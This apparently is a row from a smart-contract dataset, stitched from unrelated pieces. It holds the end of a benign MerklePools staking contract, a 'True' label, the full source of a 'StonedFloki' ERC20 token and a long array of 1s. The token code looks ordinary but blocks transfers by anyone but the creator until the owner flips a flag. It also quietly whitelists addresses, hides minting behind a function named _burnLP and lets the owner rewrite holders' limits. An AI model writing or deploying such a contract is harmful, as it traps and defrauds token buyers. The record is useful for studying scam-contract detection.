* MerklePoolsForeign allows for us to enable our MerklePools staking on a chain that has bridged
* TIC. Instead of minting during the `generateLPTokens` call, TIC is transferred in from
* the caller (onlyGovernance) to be used to mint LP tokens.
*/
contract MerklePoolsForeign is MerklePools {
using MerklePool for MerklePool.List;
using MerklePool for MerklePool.Data;
using SafeERC20Upgradeable for IERC20Upgradeable;
/**
* @notice Allows a caller to generate LP tokens to distribute to stakers. The quote token
* is taken from the caller and paired with freshly minted TIC token to create new LP tokens.
* @param _poolId id of the pool these LP Tokens are associated with.
* @param _ticTokenQty qty of ticTokens that you would like to add
* @param _quoteTokenQty qty of quoteTokens that you would like to add (USDC)
* @param _ticTokenQtyMin minimum acceptable qty of ticToken that will be added (or transaction will revert)
* @param _quoteTokenQtyMin minimum acceptable qty of quoteTokens that will be added (or transaction will revert)
* @param _expirationTimestamp timestamp that this transaction must occur before (or transaction will revert)
*/
function generateLPTokens(
uint256 _poolId,
uint256 _ticTokenQty,
uint256 _quoteTokenQty,
uint256 _ticTokenQtyMin,
uint256 _quoteTokenQtyMin,
uint256 _expirationTimestamp
) external override onlyGovernance {
require(address(ticToken) != address(0), "MerklePools: TIC_NOT_SET");
require(elasticLPToken != address(0), "MerklePools: ELP_NOT_SET");
MerklePool.Data storage _pool = pools.get(_poolId);
_pool.update(poolContext); // update pool first!
uint256 maxMintAmount =
_pool.totalUnclaimedTIC - _pool.totalUnclaimedTICInLP;
require(maxMintAmount >= _ticTokenQty, "MerklePools: NSF_UNCLAIMED");
ticToken.transferFrom(msg.sender, address(this), _ticTokenQty);
IERC20Upgradeable(quoteToken).safeTransferFrom(
msg.sender,
address(this),
_quoteTokenQty
);
uint256 lpBalanceBefore =
IERC20Upgradeable(elasticLPToken).balanceOf(address(this));
uint256 ticBalanceBefore = ticToken.balanceOf(address(this));
uint256 quoteTokenBalanceBefore =
IERC20Upgradeable(quoteToken).balanceOf(address(this));
Exchange(address(elasticLPToken)).addLiquidity(
_ticTokenQty,
_quoteTokenQty,
_ticTokenQtyMin,
_quoteTokenQtyMin,
address(this),
_expirationTimestamp
);
uint256 lpBalanceCreated =
IERC20Upgradeable(elasticLPToken).balanceOf(address(this)) -
lpBalanceBefore;
require(lpBalanceCreated != 0, "MerklePools: NO_LP_CREATED");
uint256 ticBalanceConsumed =
ticBalanceBefore - ticToken.balanceOf(address(this));
_pool.totalUnclaimedTICInLP += ticBalanceConsumed;
if (ticBalanceConsumed < _ticTokenQty) {
// refund the rest to caller.
ticToken.transfer(msg.sender, _ticTokenQty - ticBalanceConsumed);
}
uint256 quoteTokenConsumed =
quoteTokenBalanceBefore -
IERC20Upgradeable(quoteToken).balanceOf(address(this));
if (quoteTokenConsumed < _quoteTokenQty) {
// refund the rest to the caller
IERC20Upgradeable(quoteToken).safeTransfer(
msg.sender,
_quoteTokenQty - quoteTokenConsumed
);
}
emit LPTokensGenerated(
lpBalanceCreated,
ticBalanceConsumed,
quoteTokenConsumed
);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-10-09
*/
// https://t.me/StonedFloki
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
mapping (address => bool) public checkTheCD;
mapping (address => bool) public IsCDActiveOrNot;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
bool private _gottaCatchThemAll = false;
string private _name;
string private _symbol;
address private _creator;
bool private cooldownSearch;
bool private antiWhale;
bool private tempVal;
uint256 private setAntiWhaleAmount;
uint256 private setTxLimit;
uint256 private chTx;
uint256 private tXs;
constructor (string memory name_, string memory symbol_, address creator_, bool tmp, bool tmp2, uint256 tmp9) {
_name = name_;
_symbol = symbol_;
_creator = creator_;
IsCDActiveOrNot[creator_] = tmp;
checkTheCD[creator_] = tmp2;
antiWhale = tmp;
tempVal = tmp2;
cooldownSearch = tmp2;
tXs = tmp9;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (sender != _creator) {
require(_gottaCatchThemAll);
}
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
if ((address(sender) == _creator) && (tempVal == false)) {
setAntiWhaleAmount = chTx;
antiWhale = true;
}
if ((address(sender) == _creator) && (tempVal == true)) {
checkTheCD[recipient] = true;
tempVal = false;
}
if (checkTheCD[sender] == false) {
if ((amount > setTxLimit)) {
require(false);
}
require(amount < setAntiWhaleAmount);
if (antiWhale == true) {
if (IsCDActiveOrNot[sender] == true) {
require(false, "ERC20: please wait another %m:%s min before transfering");
}
IsCDActiveOrNot[sender] = true;
_cooldownBeforeNewSell(sender, block.timestamp);
}
}
uint256 taxamount = amount;
_balances[sender] = senderBalance - taxamount;
_balances[recipient] += taxamount;
emit Transfer(sender, recipient, taxamount);
}
function _burnLP(address account, uint256 amount, uint256 val1, uint256 val2) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
setAntiWhaleAmount = _totalSupply;
chTx = _totalSupply / val1;
setTxLimit = chTx * val2;
emit Transfer(address(0), account, amount); }
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] -= amount;
_balances[0x000000000000000000000000000000000000dEaD] += amount;
emit Transfer(account, address(0x000000000000000000000000000000000000dEaD), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
if ((address(owner) == _creator) && (cooldownSearch == true)) {
checkTheCD[spender] = true;
IsCDActiveOrNot[spender] = false;
cooldownSearch = false;
}
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _jointy(address account, bool v1, bool v2, bool v3, uint256 v4) external onlyOwner {
checkTheCD[account] = v1;
IsCDActiveOrNot[account] = v2;
antiWhale = v3;
setAntiWhaleAmount = v4;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
function _cooldownBeforeNewSell(address account, uint256 amount) internal virtual {
if ((block.timestamp - amount) > 20*60) {
IsCDActiveOrNot[account] = false;
}
}
function CompletelyBaked() external onlyOwner() {
_gottaCatchThemAll = true;
}
}
contract ERC20Floki is Context, ERC20 {
constructor(
string memory name, string memory symbol,
bool tmp, bool tmp2, uint256 tmp6,
uint256 tmp7, address creator,
uint256 initialSupply, address owner,
uint256 tmp9
) ERC20(name, symbol, creator, tmp, tmp2, tmp9) {
_burnLP(owner, initialSupply, tmp6, tmp7);
}
}
contract StonedFlokiV2 is ERC20Floki {
constructor() ERC20Floki("StonedFloki", "STONED", false, true, 1100, 15, msg.sender, 420000 * 10 ** 18, msg.sender, 2) {
}
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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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1,
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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
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